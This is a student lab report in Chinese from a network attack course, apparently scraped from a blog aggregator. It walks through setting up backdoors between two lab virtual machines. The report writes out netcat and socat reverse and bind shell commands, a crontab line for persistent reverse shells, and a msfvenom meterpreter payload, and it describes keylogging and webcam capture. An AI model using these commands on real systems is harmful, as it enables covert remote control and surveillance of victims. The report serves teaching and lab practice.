2017-2018-2 20155203《网络对抗技术》Exp2 后门原理与实践
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 通过下载带后门的程序或者点开带有后门的软件,或者后门本身就在我的系统里;
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 可以更改注册表,随系统启动启动
(3)Meterpreter有哪些给你映像深刻的功能?
- 击键记录,截取摄像头
(4)如何发现自己有系统有没有被安装后门?
- 靠杀毒软件,做这个实验的时候要先关闭杀毒软件
实践过程记录
(1)使用netcat获取主机操作Shell,cron启动
在kali虚拟机中输入
ifconfig,在WIN7虚拟机中输入ipconfig,找到两个虚拟机的ip地址(一般在同一网段),在VMware Station中打开虚拟机->设置
->网络适配器->NAT模式可以在没有联网的时候仍然ping通同一主机上的两台虚拟机。kali端控制Win7端
1. kali:nc -l -p 端口号
2. Win7:ncat.exe -e cmd.exe kali主机ip 端口号//反向连接kali主机,端口号为kali主机的端口号
3. kali:可以输入Windows命令


- Win7端控制kali端
1. Win7:ncat.exe -l -p 端口号
2. Kali:nc kali主机ip 端口号 -e /bin/sh//反向连接Win7主机,端口号为Win7主机的端口号


通过ncat传字符串
一个主机开启端口监听,另一个主机连接到这个端口,不用链接到cmd.exe或是shell可以实现两台主机的数据传输

利用cron启动获取shell
- cron工具简介:crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。我们就是通过更改crontab中的文件内容(指令内容),使得被控主机反向连接控制端主机端口的指令可以被周期性执行——悄悄进行。
- 具体实施方法:
- Win7:ncat.exe -l -p 端口号
- kali:crontab -e //指令编辑一条定时任务
- kali:选择vim.basic
- kali:时间(分) * * * * /bin/netcat 192.168.1.200 5215 -e /bin/sh//在最后一行添加,时间是指每一小时执行一次的分钟数,按照自己的kali虚拟机的时间设定,不然可能要等很久才能得到shell
- Win7:得到shell执行linux指令

(2)使用socat获取主机操作Shell, 任务计划启动
- socat的使用方法:
socat是ncat的增强版,它使用的格式是socat [options] address address
,其中两个address是必选项,而options 是可选项。socat时kali虚拟机中本身就有的,Win7需要下载使用。
- 打开Win7虚拟机中的控制面板,选择查看方式为:大图标;找到:管理工具,打开;找到:任务计划程序,打开;
- 在右侧一栏中选择:创建任务,打开;
- 填写任务名称;新建触发器,选择开始任务时间为:工作站锁定时,便于操作;
- 新建操作,选择启动的程序为socat.exe,参数填为:tcp-listen:端口号 exec:cmd.exe,pty,stderr,这一操作的含义是把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上
- 用快捷键Windows+L锁定虚拟机,任务启动
- 在kali虚拟机终端输入socat - tcp:192.168.1.200:端口号,可以控制Win7的cmd。


(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 首先要在kali里生成一个可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.144 LPORT=5203 -f exe > dkx20155203_backdoor.exe注意这里的地址是发起攻击主机的地址,也就是kali的地址,生成文件后,会有文件大小的相关说明。 - 传输这个文件,方法和传字符串相同,命令如下:(有先后顺序,接收方要先意识到要接收文件了)
1. Win7:ncat.exe -l > dkx20155203_backdoor.exe
2. kali:nc 192.168.230.141 5203 < dkx_20155203_backdoor.exe//这里的地址是Win7的地址
接收到要检查文件大小,不幸运的时候有可能是0KB,后面就什么也干不了。
- 在kali端使用
msfconsole指令进入msf控制台,设置LPORT、LHOST军与生成可执行文件相同,设置payload。执行exploit - 在win7端运行之前传输过去的程序。
- 攻击成功~

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
如图所示:


如果连接摄像头出错,切换到WIN7虚拟机(VMware Station)点击虚拟机->可移动设备->xxx Camera->连接

这个击键记录很有趣,因为如果我是复制的它也记录不了,懒人无敌~
- getsystem提升特权的时候出错,如图:

解决办法:
试了五六次,成功了!

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
实验总结与体会
有趣的实验体验
2017-2018-2 20155203《网络对抗技术》Exp2 后门原理与实践的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- Maven学习(三)maven原理概念详述
maven相关概念 maven坐标 Maven世界拥有大量构建,当我们需要引用依赖包是,需要用一个用来唯一标识去确定唯一的一个构建.如果拥有了统一规范,就可以把查找工作交给机器. 类似于空间找点的坐标 ...
- TensorFlow Saver 保存最佳模型 tf.train.Saver Save Best Model
TensorFlow Saver 保存最佳模型 tf.train.Saver Save Best Model Checkmate is designed to be a simple drop-i ...
- python数据类型之间的转换
1,字符串转整型,前提条件是该字符串为纯数字. a = '1' a = int(a) 2,整型转字符串 a= 1 a = str(a) 3,整型转浮点型 a = 1 a = float(a) 4,浮点 ...
- 在Eclipse中运行Jboss时出现java.lang.OutOfMemoryError:PermGen space及其解决方法
在Eclipse中运行Jboss时出现java.lang.OutOfMemoryError:PermGen space及其解决方法 在Eclipse中运行Jboss时,时间太长可能有时候会出现java ...
- javascript 正则(将数字转化为三位分隔的样式)【转】
原文:https://www.cnblogs.com/sivkun/p/7123963.html })+\b)/g, ',') 解释: \b : 匹配单词边界,就是位于字符\w([a-zA-Z0-9_ ...
- [Linux|DBA]运维三十六计
这里是腾讯两位大神梁定安.周小军总记得运维DBA三十六计--
- Windows用命令打开常用的设置页面和常用快捷键
Win+R输入以下内容来快捷打开常用设置 compmgmt.msc # 计算机管理 diskmgmt.msc # 磁盘管理 devmgmt.msc # 设备管理 services.msc # 服务管理 ...
- django -- Celery实现异步任务
1. 环境 python==2.7 djang==1.11.2 # 1.8, 1.9, 1.10应该都没问题 celery-with-redis==3.0 # 需要用到redis作为中间人服务(Bro ...
- python的学习之路day5
大纲: 1.双层装饰器 单层装饰器 双层装饰器 原理 2.字符串的格式化 3.format字符串格式化 4.生成器 5.递归 6.模块的安装 7.json模块 8.pickle模块 9.time模块 ...
- Centos7 永久更改主机名
操作环境: [root@bogon ~]# uname -a Linux #localhost.localdomain 3.10.0-514.el7.centos.plus.i686 #1 SMP W ...